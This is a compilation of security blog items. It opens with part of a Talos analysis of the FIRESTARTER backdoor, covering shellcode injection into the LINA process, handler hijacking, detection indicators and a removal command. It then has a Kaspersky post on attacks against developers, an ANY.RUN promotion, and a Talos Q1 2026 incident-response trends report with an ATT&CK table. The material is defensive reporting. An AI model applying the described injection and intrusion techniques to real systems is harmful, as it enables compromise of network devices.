FIRESTARTER can run arbitrary shellcode received by the device. A pre-defined handler function specified by a hardcoded offset in the LINA process’ memory is replaced by an unauthorized handler routine that parses the data being served to it. FIRESTARTER specifically looks for a WebVPN request XML. If the request data received matches a specific pattern of custom-defined prefixing then the shellcode that immediately follows it is executed in memory. If the prefixing bytes are not found, then the data is treated as regular request data and passed to the original handler function (if any).

FIRESTARTER’s loading mechanism, Stage 2 shellcode (i.e., the actual request handler component), handler function replacement, XML parsing for magic bytes, and final payload execution display considerable overlaps with RayInitiator’s Stage 3 deployment actions and accompanying artifacts.

Injecting and activating the malicious shellcode in LINA

FIRESTARTER first reads the LINA process’ memory to search for and verify the presence of the bytes (long) 0x1, 0x2, 0x3, 0x4, 0x5 at specific locations in memory. If found, FIRESTARTER will then query the process’ memory to find an “r-xp” memory range for the shared library “libstdc++.so”. It then copies the next stage shellcode (Stage 2) to the last 0x200 bytes of the memory region. FIRESTARTER then overwrites an internal data structure in the LINA process’ memory to replace a pointer to a WebVPN-specific, legitimate XML handler function with the address of the malicious Stage 2 shellcode.

The malicious shellcode is triggered as part of the authentication API’s request handling process and parses the incoming request data for magic markers signifying an executable payload. If found, the executable payload is then executed on the compromised device.


Detection guidance

The presence of the following artifacts – specifically the filenames “lina_cs” and “svc_samcore.log” – though somewhat brittle indicators, may indicate the presence of the FIRESTARTER on a Firepower device:

  • Any output from the commands:
    • show kernel process | include lina_cs
  • The presence of the following files on disk:
    • /usr/bin/lina_cs
    • /opt/cisco/platform/logs/var/log/svc_samcore.log

For more comprehensive detection guidance, please refer to Cisco’s Security Advisory here. Please also refer to CISA’s update to V1: Emergency Directive (ED) 25-03: Identify and Mitigate Potential Compromise of Cisco Devices and FIRESTARTER Backdoor Malware Analysis Report for more information and guidance.

 

Mitigation and coverage

We recommend that Cisco customers follow the steps recommended in Cisco’s advisory, with particular attention to any applicable software upgrade recommendations. Organizations impacted can initiate a TAC request for Cisco support.

A FIRESTARTER infection may be mitigated on all affected devices by reimaging the devices.

On Cisco FTD software that is not in lockdown mode, there is also the option of killing the lina_cs process then reloading the device:

> expert
$ sudo kill -9 $(pidof lina_cs)
$ exit
> reload

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort rules cover the vulnerabilities CVE-2025-20333 and CVE-2025-20362: 65340, 46897.

Snort rules covering FIRESTARTER: 62949

The following ClamAV signatures detect this threat: Unix.Malware.Generic-10059965-0

Cisco Talos Blog – ​Read More

Targeting developers: real-world cases, tactics, and defense strategies | Kaspersky official blog

Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

Kaspersky official blog – ​Read More

More Attack Context for Faster Triage, Response, and Hunting. Now Available to Every SOC 

ANY.RUN has expanded access to Threat Intelligence capabilities for SOC and MSSP teams, backed by live attack data from 15,000 organizations. 

Here’s how your team can test TI’s impact on triage quality, response speed, and threat hunting workflows. 

See How Threat Intelligence Accelerates Your SOC 

ANY.RUN now offers 20 premium requests in Threat Intelligence Lookup and YARA Search as part of the Free plan.  

You can get immediate threat context for over 40 types of IOCs, IOBs, and IOAs belonging to the latest malware & phishing attacks. All data is sourced from real sandbox investigations by ANY.RUN’s community of 15,000 organizations and 600,000 security analysts and experts. 

AI assistant interprets a lookup request in natural language, helps select sandbox analyses of malware using a TTP

AI-assisted search is available directly in the query flow, allowing analysts to use natural language and move from question to results without manual query building. 

With this expanded access, SOC and MSSP teams can explore Threat Intelligence capabilities in their workflows and see how it affects core SOC processes for faster and more confident operations

  • Reduce triage time: Validate alerts against ANY.RUN’s threat database to get immediate verdicts, full context, and access to related samples and activity. 
  • Improve response accuracy: Pivot from a single indicator to connected infrastructure, artifacts, and behavior to understand how the attack unfolds and what else needs containment. 
  • Run more effective threat hunts: Test hypotheses against live attack data, find related samples with YARA Search, and confirm relevance before expanding the hunt. 
  • Build detections based on real attacks: Use discovered patterns and artifacts to create or refine detections aligned with current malware and phishing activity. 

This directly impacts key SOC metrics, including reduced time per investigation, lower escalation rates, and faster Mean Time to Respond. 

Accelerate security workflows for faster triage & response.
Test Threat Intelligence in your SOC or MSSP.



Contact us


AI Search for Streamlined Investigations 

To speed up investigations and simplify how analysts work with Threat Intelligence, TI Lookup now includes AI-assisted search directly in the search bar.  

AI Search suggesting a lookup parameter

Analysts can use natural language to query data, while the system automatically translates requests into structured queries with the correct parameters and wildcards. 

This removes time spent on query construction and reduces friction in the workflow. Analysts move faster from alert to context, run more queries in less time, and get consistent results without additional steps. 

Fueling Core SOC Workflows 

Threat intelligence becomes truly valuable when it integrates into everyday operations. Here’s how it reinforces the three pillars of any SOC. 

1. Triage: From Guesswork to Confident Decisions 

Alert volume is the defining operational challenge for most SOC teams. The ability to validate an alert quickly and to make a confident decision about whether to close it or escalate directly determines how efficiently a team can operate. 

With ANY.RUN’s threat intelligence, analysts can immediately check an incoming indicator against a broad base of real-world attack data. Known-malicious infrastructure, recognized malware patterns, and previously documented campaigns can be matched in seconds. This means: 

  • Faster, evidence-backed decisions on alert validity; 
  • measurable reduction in the percentage of escalations driven by uncertainty rather than confirmed risk; 
  • Lower analyst cognitive load during high-volume periods. 

destinationIP:”198.37.119.56″ 

Quick verdict on the suspicious IP, campaign relations, infrastructure, and IOCs

Analysts spend less time on inconclusive alerts and more time on confirmed threats. With documented context to support every decision. 

2. Response: Seeing the Bigger Picture 

Once an incident is confirmed, speed and precision matter. The quality of the response depends on how well the team understands the threat: its connections, its infrastructure, its behavioral patterns, and its likely next moves. Two clicks in TI Lookup search results cited above take your analyst to a sandbox session of malware detonation and attack chain exposure:  

Move from TI Lookup results to sandbox analyses exposing malware’s behavior

ANY.RUN’s threat intelligence enables response teams to map the relationships between indicators and the broader campaigns or actor groups behind them. Shared infrastructure, overlapping TTPs, and connected artifacts can be identified quickly, giving responders a structural understanding of what they are dealing with, not just a list of individual indicators. 

This translates into: 

  • More complete scoping of incidents, with fewer blind spots; 
  • Targeted containment and remediation actions grounded in evidence; 
  • Higher confidence in response decisions

Overreaction and underreaction are reduced at the same time. The response becomes targeted, not reactive. 

3. Threat Hunting: Testing Hypotheses Against Reality 

Proactive threat hunting requires the ability to test hypotheses against real-world data. Analysts need to move from a suspicion about adversary behavior to a confirmed or refuted finding with enough evidence to act. 

ANY.RUN’s threat intelligence gives hunters access to a rich, searchable base of behavioral data from real-world malware analysis. Campaign linkages, attacker infrastructure patterns, and behavioral signatures can all be researched in depth.  

YARA Search accumulating artifacts and sandbox analyses

YARA Rules Search adds a further dimension, allowing hunters to build and validate detection logic against current threat data. 

The result is a hunting capability that is grounded in current, real-world evidence rather than theoretical models. It enables teams to find genuine threats and build detection coverage that reflects how adversaries actually behave. Hunting shifts from speculative to evidence-driven. 

How Threat Intelligence Impacts Your Business Outcomes  

Behind every alert, investigation, and response action, there is a business impact quietly accumulating. 

For Security Operations Teams (SOCs & MSSPs):

  • Alert validation accelerates, reducing the time from detection to decision. 
  • Fewer escalations are driven by uncertainty; each escalation carries stronger evidentiary weight. 
  • Investigation time decreases as analysts access contextualized data without pivoting between tools. 
  • Analyst confidence improves, reducing the hesitation that slows response in high-pressure situations 

For the Organization:

  • Incident costs fall when threats are understood accurately and responded to precisely. 
  • Faster response timelines limit attacker dwell time and reduce the scope of potential damage. 
  • The risk of missing significant threats decreases as detection and investigation are backed by broad, current intelligence. 
  • Security investments deliver more measurable returns when team capacity is focused on real, confirmed risk. 

Scale SOC Performance with Full Access to Threat Intelligence from ANY.RUN 

The Free plan is a genuine starting point: a full-capability evaluation that lets teams verify the value of ANY.RUN’s intelligence on real workflows. For organizations ready to operationalize threat intelligence at scale, ANY.RUN offers paid plans designed for different operational needs. 

ANY.RUN’s TI plans & pricing

These include Live, Core, and Complete plans, allowing teams to choose the level of access and integration that fits their workflows and scale.  

Across these plans, organizations can leverage the full set of threat intelligence capabilities, including:  

1. Threat Intelligence Feeds 

Continuous streams of validated indicators enriched with behavioral context from the sandbox analyses, delivered directly into SIEM, EDR, IDS/IPS, and SOAR systems. This enables automated enrichment and faster detection pipelines. 

2. Threat Intelligence Reports: full access 

Structured analyses of active campaigns, malware families, and attacker techniques. These reports provide ready-to-use insights for both operational response and strategic planning.  

TI Reports: most pressing threats, most dangerous APTs

Close blind spots and reduce exposure to critical incidents.
Integrate ANY.RUN’s Threat Intelligence in your SOC.
 



Contact us


What makes them particularly useful in operations: 

  • Clear breakdowns of campaigns, including tactics, techniques, and procedures
  • Context around how attacks unfold in real environments
  • Indicators and infrastructure tied together into meaningful clusters
  • Ready-to-use insights that support both immediate response and long-term defense

Reports act as a bridge between raw telemetry and strategic understanding. They help teams not only react faster, but also recognize patterns before they escalate into incidents. 

3. Threat Landscape 

A contextual layer that maps threats to industries and geographies, helping organizations understand where specific risks are most relevant to their business. 

threatName:”vidar” 

Lookup shows: Vidar trojan now targeting education, government, IT, and telecom in Europe and Americas 

Together, these capabilities support key business objectives: 

  • Reducing mean time to detect and respond (MTTD/MTTR); 
  • Lowering operational costs of incident handling; 
  • Improving analyst efficiency and capacity utilization; 
  • Strengthening risk management and compliance posture. 
ANY.RUN TI plans

The result is a measurable improvement in how security operations contribute to overall business resilience. 

Final Thoughts

The gap between threat detection and effective response is not primarily a technology problem. It is a data problem. When analysts have access to rich, current, contextual intelligence at the moment they need it, decisions improve and outcomes follow. 

ANY.RUN’s unified threat intelligence — TI Lookup, TI Feeds, TI Reports, and YARA Search, all powered by real sandbox data from 15,000 organizations — gives SOC and MSSP teams that foundation. The free plan removes the evaluation barrier: any team can run it through real workflows, on real alerts, before committing to anything. 

For teams that operationalize it, the cumulative effect is a SOC that is measurably faster, more accurate, and more confident — and an organization that is measurably harder to compromise and cheaper to defend. 

About ANY.RUN   

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.   

It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.   

ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls. 

What is included in the expanded entry-level plan?

It includes 20 investigations in Threat Intelligence Lookup with AI-assisted search, access to YARA search, and the free Threat Intelligence Reports to evaluate real workflows.

How is this different from a typical trial?

It is not a limited demo. It allows teams to test threat intelligence directly within their SOC processes, using real alerts and investigations.

What data powers ANY.RUN’s threat intelligence?

It is generated from real-world malware analyses in the ANY.RUN Interactive Sandbox, enriched with behavioral data, infrastructure links, and campaign context.

How does AI search help analysts?

It simplifies query building by translating intent into structured search parameters, reducing time spent on syntax and accelerating investigations.

Can this be integrated into existing security infrastructure?

Yes, paid plans support integration with SIEM, SOAR, and other security systems, enabling automated workflows and enrichment.

Who is this most relevant for?

SOC teams, MSSPs, and security leaders who want to improve decision speed, reduce uncertainty, and lower incident response costs.

The post More Attack Context for Faster Triage, Response, and Hunting. Now Available to Every SOC  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks targeting public administration persist

  • Phishing reemerged as the most observed means of gaining initial access, accounting for over a third of the engagements where initial access could be determined. Phishing has not been the top vector for initial access since Q2 2025.
  • Public administration and health care tied as the most targeted industry verticals, each accounting for 24 percent of all engagements. This is the third consecutive quarter where public administration has been the most targeted industry vertical.  
  • Pre-ransomware incidents made up just 18 percent of engagements this quarter, and we did not observe any ransomware deployment due to early and swift mitigation from Cisco Talos Incident Response (Talos IR). This is a slight increase from last quarter but overall very low compared to Q1 and Q2 2025, when we observed ransomware in 50 percent of engagements.

AI tool leveraged in phishing campaign 

IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks targeting public administration persist

Talos IR responded to a campaign that leveraged phishing, the most common means of initial access this quarter, to compromise the most targeted industry vertical this quarter: public administration. Notably, the actors leveraged the SoftrAI-based web application development service, marking the first time we have documented the use of a specific AI tool by an adversary in a phishing campaign. Softr was used to generate a credential harvesting page targeting users’ Microsoft Exchange and Outlook Web Access (OWA) accounts. 

State-sponsored and criminal actors have been observed abusing large language models (LLMs) to aid in the development of phishing lures, malicious scripts, and other tasks. DDoS-as-a-service actors have adopted AI algorithms for defense evasion and attack orchestration. While this is the first time we have documented the use of a specific AI tool in a Talos IR incident, we have moderate confidence that malicious actors have used Softr’s AI-powered web application creation platform since at May 2023, based on Cisco Umbrella data and other telemetry, and have done so with increasing frequency to date.    

This incident demonstrates how AI tools can lower the barrier to entry for less sophisticated actors and/or accelerate the speed of phishing and credential-harvesting campaigns. Using a form template and the “vibe coding” feature, a phishing page like the one used in this attack could be quickly created with a few AI prompts and no code. Phishing pages built with Softr can direct data to a disposable external data store, such as Google Sheets, and send alerts for new captures via email — all without code.    

Crimson Collective seen for the first time   

Talos IR experienced its first case involving Crimson Collective, a cyber extortion group that appeared in September 2025. This attack highlighted the use of valid accounts for initial access, the second most commonly observed means of initial access this quarter. This attack also notably involved targeting exploit weaknesses, the second-most observed security weakness, accounting for 25 percent of all engagements. We attribute this activity to Crimson Collective based on IPs associated with the group that were used to scan the victim’s ASA firewalls, as well as an overlap of observed tactics and techniques with publicly reported Crimson Collective attacks. 

The incident began when a GitHub Personal Access Token (PAT) was inadvertently published on a public-facing website, exposing the organization to adversaries for several months. Upon obtaining access, the adversary used TruffleHog, an open-source tool commonly utilized by security professionals, to scan thousands of victim GitHub repositories for additional secrets and sensitive information. This approach allows attackers to perform reconnaissance without triggering suspicion, as they are leveraging standard, legitimate tools. The attacker’s discovery of client secrets through TruffleHog enabled further access to the victim’s Azure cloud storage, where they used Microsoft Graph API calls to authenticate, explore, and exfiltrate data. The abuse of legitimate cloud APIs demonstrates a growing trend where threat actors use native platform functionality to blend into normal user activity, making detection more challenging. 

In addition to exfiltrating data, the adversary attempted to inject malicious code into multiple GitHub repositories. This code was designed to harvest any new secrets committed in the future, sending them to adversary-controlled infrastructure. Though these attempts were largely thwarted by the expiration of targeted secrets and effective security controls, the tactic reflects an emerging trend of supply chain and development environment attacks.  

Ransomware trends 

Ransomware experiences slight increase, remains low overall  

Pre-ransomware incidents made up just 18 percent of engagements this quarter, and we did not observe any ransomware encryption due to early and swift mitigation from Talos IR. This is a slight increase from last quarter, when ransomware and pre-ransomware collectively comprised 13 percent of engagements, but overall very low compared to Q1 and Q2 2025, when we observed ransomware in 50 percent of engagements. Attribution is challenging in pre-ransomware events because there are no encryptors or ransom notes, but we assess that Rhysida ransomware and MoneyMessage ransomware accounted for two of the engagements. 

While we did not observe many active and prolific ransomware-as-a-service (RaaS) operations, like Qilin or Akira, this likely does not indicate these major players are decreasing operations, as their data leak sites remain consistently active.    

Rhysida ransomware actors use uncommon backdoor, Meowbackconn  

Talos IR responded to a ransomware incident where the adversary attempted to deploy Rhysida ransomware. While the attack was mitigated in the pre-ransomware stage, we attribute this activity with moderate confidence to Rhysidabased on observed infrastructure that is associated with Rhysida activity and the use of Gootloader, which is commonly leveraged in Rhysida attacks during initial access. Notably, the actors deployed proxy-related DLLs (e.g., “meow_eu.dll”), which we assess were likely related to MeowBackConn, an uncommon backdoor that is closely associated with Gootloader, based on public reporting. 

This attack represents several trends that we observed throughout Talos IR engagements in Q1 2026. The environmental weaknesses that enabled this intrusion — exposed WinRM management ports, over-privileged service accounts, and critical logging gaps — directly echo this quarter’s most prominent security weaknesses, including vulnerable or exposed infrastructure, accounting for 25 percent of engagements. Furthermore, the adversary’s use of Remote Desktop Protocol (RDP) for lateral movement is consistent with RDP being the top technique for lateral movement for the previous two quarters (Q3 and Q4 2025).

Targeting

IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks targeting public administration persist

Public administration and health care were tied as the most targeted industry verticals. Notably, Q3 2025 marked the first time public administration emerged as the most targeted sector in Talos IR engagements, and it has retained that position since. Organizations within the public administration sector are attractive targets as they are often underfunded and use legacy equipment. These entities may have access to sensitive data as well as a low downtime tolerance, making them attractive to financially motivated and espionage-focused threat groups.

Initial access

IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks targeting public administration persist

Phishing reemerged as the most observed means of gaining initial access, accounting for over a third of the engagements where initial access could be determined. Phishing was the top initial access vector in the first half of 2025, at which point it was surpassed by exploitation of public-facing applications, likely due to the widespread exploitation of vulnerabilities in on-premises Microsoft SharePoint servers, collectively referred to as ToolShell. Since then, we have observeda steady decrease in the exploitation of public-facing applications as an initial access vector from a high of 62 percent to only 18 percent in Q1 2026. Similarly, in this quarter, valid accounts returned to its pre-ToolShell baseline as the second most observed means of gaining initial access, comprising 24 percent of Talos IR engagements. We assess the decline in ToolShell exploitation is likely due to the widespread availability of emergency patches and enhanced security detections, highlighting the importance of timely patching.

Recommendations for addressing top security weaknesses

IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks targeting public administration persist

Implement properly configured MFA and other access control solutions  

35 percent of engagements this quarter involved multi-factor authentication (MFA) weaknesses, an increase from last quarter. This includes incidents where threat actors bypassed MFA and where MFA was either missing or only partially enabled, particularly on remote access services. Adversaries were able to bypass MFA by registering new devices to previously compromised accounts, and in one instance, by configuring Outlook clients to connect directly to Exchange servers, circumventing MFA requirements. Addressing these weaknesses, especially by restricting self-service MFA enrollment and enforcing strong, centralized authentication policies, is essential to reducing risk and strengthening organizational resilience. 

Conduct robust patch management   

Vulnerable or exposed infrastructure was another top security weakness accounting for 25 percent of all engagements, a slight decrease from last quarter. This included exploiting a vulnerability (CVE-2025-20393) in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager, as well as a vulnerability (CVE-2023-20198) in the web UI feature in Cisco IOS XE Software. Talos also observed exposed management ports (such as WinRM open to the internet), which enabled rapid attacker movement and reconnaissance.  

Configure centralized logging capabilities across the environment   

Finally, 18 percent of engagements this quarter involved organizations with insufficient logging capabilities, which hindered investigative efforts. Understanding the full context and chain of events performed by an adversary on a targeted host is vital not only for remediation but also for enhancing defenses and addressing any system vulnerabilities for the future. To address this issue, Talos IR recommends organizations implement a security information and event management (SIEM) solution for centralized logging. In the event an adversary deletes or modifies logs on the host, the SIEM will contain the original logs to support a forensics investigation. Additionally, Talos IR offers a Log Architecture Assessment service, which provides a focused review of an organization’s logs and overall log strategy to identify gaps and offer recommendations that give a complete view of the security environment and strengthen incident response readiness 

MITRE ATT&CK appendix 

The tables below represent the MITRE ATT&CK techniques observed in this quarter’s IR engagements and includes relevant examples and the number of times seen. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic based on the way they were leveraged. Please note that this is not an exhaustive list. 

Key findings from the MITRE ATT&CK framework include: 

  • Phishing was the top method of initial access, replacing exploitation of public-facing applications which was dominant in the prior two quarters. 
  • Web-based C2 was the most common C2 pattern. Application Layer Protocol over web protocols was observed most often, indicating adversaries frequently blended C2 into normal-looking traffic. 
  • Lateral movement primarily relied on common remote administration channels. SMB/Windows Admin Shares was the top lateral movement technique, with WMI and RDP also heavily used, suggesting attackers repeatedly leveragedstandard enterprise remote management paths once inside. RDP was the top technique for lateral movement in the prior two quarters.  
  • Defense evasion frequently focused on weakening visibility and endpoint protections. Impair defenses by disabling/modifying tools appeared multiple times, alongside log/trace reduction behaviors (e.g., clear command history and file deletion), indicating a recurring emphasis on reducing detection and forensic evidence.

Tactic 

Technique 

Example 

Estimated times observed  

Reconnaissance 

T1589.002: Gather Victim Identity Information: Email Addresses 

The adversary enumeratedinternal processes and identifiedvendor emails to facilitate their fraudulent ordering scheme. 

1 

 

T1595: Active Scanning 

 

The adversary scanned public-facing websites to understand the target environment. 

2 

 

T1593: Search Open Websites/Domains 

The adversary scanned the web to obtain Github PATs. 

1 

Initial access 

T1566: Phishing 

The adversary used malicious emails and social engineering to compromise user accounts and facilitate fraudulent purchase orders. 

5 

 

T1189: Drive-by compromise 

The adversary registered several domains that masquerade as being related to VMware, and manipulated the SEO to show them at the top when searching for keywords such as VMware 

3 

 

T1078: Valid Accounts 

The adversary successfully gained access to the environment by using compromised user credentials  

4 

 

T1190: Exploit public-facing applications 

Two internet facing Linux servers running Apache and an LMS application were targeted. 

3 

Execution 

T1204.002: User Execution: Malicious File 

The victim downloaded a malicious installer on their personal host, connected the host to their company’s network, transferred the malware to their primary domain controller, then executed the malware.  

3 

 

T1204.001: User Execution: Malicious link  

The victim clicked on a link that led to a fake DocuSign document hosted on adobe[.]com 

5 

 

T1059.001: Command and Scripting Interpreter: PowerShell  

The adversary used PowerShell commands and scripts for execution. 

4 

 

T1059.006: Command and Scripting Interpreter: Python 

The adversary used automated Python scripts to interact with the environment. 

1 

 

T1059.005: Command and Scripting Interpreter: MSHTA 

The adversary attempted to use mshta.exe to retrieve and execute a remote malicious payload from an external URL. 

1 

Persistence 

T1556.006: ModifyAuthentication Process: Multi-Factor Authentication 

The adversary registered their own malicious MFA devices to maintain access to compromised accounts. 

2 

 

T1219: Remote Access Software 

The adversary installed and used AnyDesk for unauthorized remote access. 

1 

 

T1053.005: Scheduled Task/Job: Scheduled Task 

The adversary configured tasks to run on a schedule or at system startup. 

1 

 

T1505: Server Software Component 

The adversary installed malware on breached devices to facilitateremote command execution via HTTP. 

1 

Privilege escalation 

T1068: Exploitation for Privilege Escalation 

The adversary escalated to SYSTEM level privileges, which may have provided access to cached credentials in memory or registry hive. 

1 

 

T1548: Abuse Elevation Control Mechanism 

The adversary used ExecutionPolicy Bypass in PowerShell and attempted to add users to the local Administrators group. 

1 

 

T1078 Valid Accounts 

The adversary bypassed standard access controls by using compromised accounts with existing high-level privileges. 

1 

Defense evasion 

T1070.003: Indicator Removal on Host: Clear Command History 

The adversary used the terminal emulator “ConEmu” to run commands, intentionally avoiding log generation. 

2 

 

T1070.001: Indicator Removal: Clear Windows Event Logs 

The adversary deleted logs on compromised devices to limit forensic findings. 

1 

 

T1556: ModifyAuthentication Process 

The adversary set up an Outlook client Outlook client to connect to the Exchange Server and was able to send messages via that path which bypasses the requirement for MFA via Duo. 

1 

 

T1562.001: Impair Defenses: Disable or Modify Tools 

The adversary was able to uninstall EDR agents from hosts and attempted to delete Windows Defender policies. 

4 

Credential access 

 

T1003.002: OS Credential Dumping: Security Account Manager 

The adversary saved SAM and SYSTEM registry hives to extract local account hashes.  

2 

 

T1003.003: OS Credential Dumping: NTDS  

The adversary dumped the ntds.dit file from Domain Controllers to obtain domain-wide credential hashes. 

1 

 

T1003.005: Cached Domain Credentials  

The adversary gained NT hashes for multiple domain accounts from cached logon information. 

1 

 

T1557: Adversary-in-the-Middle 

The adversary  used an AiTMproxy to capture credentials and session tokens. 

1 

Discovery 

T1087.003: Account Discovery: Email Account 

The adversary used Graph API calls to verify long lists of email addresses and retrieve associated user GUIDs. 

1 

 

T1580: Cloud Infrastructure Discovery  

The adversary performed enumeration of the environment, including gathering OneDrive metadata (drive IDs and child item counts) and user roles. 

1 

 

T1069.002: Permission Groups Discovery: Domain Groups  

The adversary used commands like net group “domain admins” /domain to find high-privilege accounts. 

 

1 

 

T1526: Cloud Service Discovery   

The adversary ran the legitimate cybersecurity tool TruffleHog to discover repositories containingclient secrets and personal information. 

1 

Lateral movement 

T1021.002: Remote Services: SMB/Windows Admin Shares 

The adversary used PsExec(communicated over SMB) to move laterally from the compromised domain controller to other servers. 

4 

 

T1047: Windows Management Instrumentation  

The adversary used PowerShell scripts to leverage WMI (Get-WmiObject) to query remote computers. 

3 

 

T1021.001: Remote Services: Remote Desktop Protocol 

The adversary used RDP connections between hosts. 

3 

Collection 

T1530: Data from Cloud Storage Object  

The analysis of M365 Audit Logs showed multiple FileAccessedand FileDownloaded events for documents stored in SharePoint and OneDrive. 

1 

 

T1040 Network Sniffing 

The adversary executed monitor capture commands on specific interfaces to intercept and capture network traffic. 

1 

Command and control 

T1071.001: Application Layer Protocol: Web Protocols 

The adversary used MeshAgentto communicate with the C2 server over WebSockets. 

5 

 

T1102: Web Service  

The adversary leveraged a Telegram URL to issue instructions and download links.  

1 

 

T1572: Protocol Tunneling 

The adversary used a second-stage script to create an HTTPS tunnel directly to the C2 system. 

1 

 

T1201: Traffic Signaling 

The adversary communicated with external infrastructure using regular beaconing or other signaling patterns to maintain C2 or check in with their C2 server. 

1 

Exfiltration 

T1567.002: Exfiltration Over Web Service 

The adversary accessed and exfiltrated internal data, specifically SharePoint files, via web-based channels. 

1 

 

T1041: Exfiltration Over C2 Channel 

The adversary exfiltrated approximately 2,500 client secrets and personal information. 

2 

Impact 

T1657: Financial Theft 

The adversary used company resources to place orders totaling hundreds of thousands of US dollars for various products which were successfully delivered. 

1 

 

T1486 Data Encrypted for Impact 

The adversary encrypted victim data. 

1 

 

T1531 Account Access Removal 

The adversary disabled admin accounts and deleted service accounts in the Active Directory (AD) and Azure 

1 

Software 

Rhysida  

A RaaS, known for posing as a cybersecurity team that “helps” its victims identify security weaknesses in their networks. 

Pre-ransomware engagement 

 

SocGholish 

A JavaScript-based loader malware that has been used since at least 2017, primarily for initial access.  

1 

 

Money Message 

A ransomware that emerged in March 2023, and is capable of targeting Windows and Linux systems (including VMware ESXiservers). 

Pre-ransomware engagement 

Cisco Talos Blog – ​Read More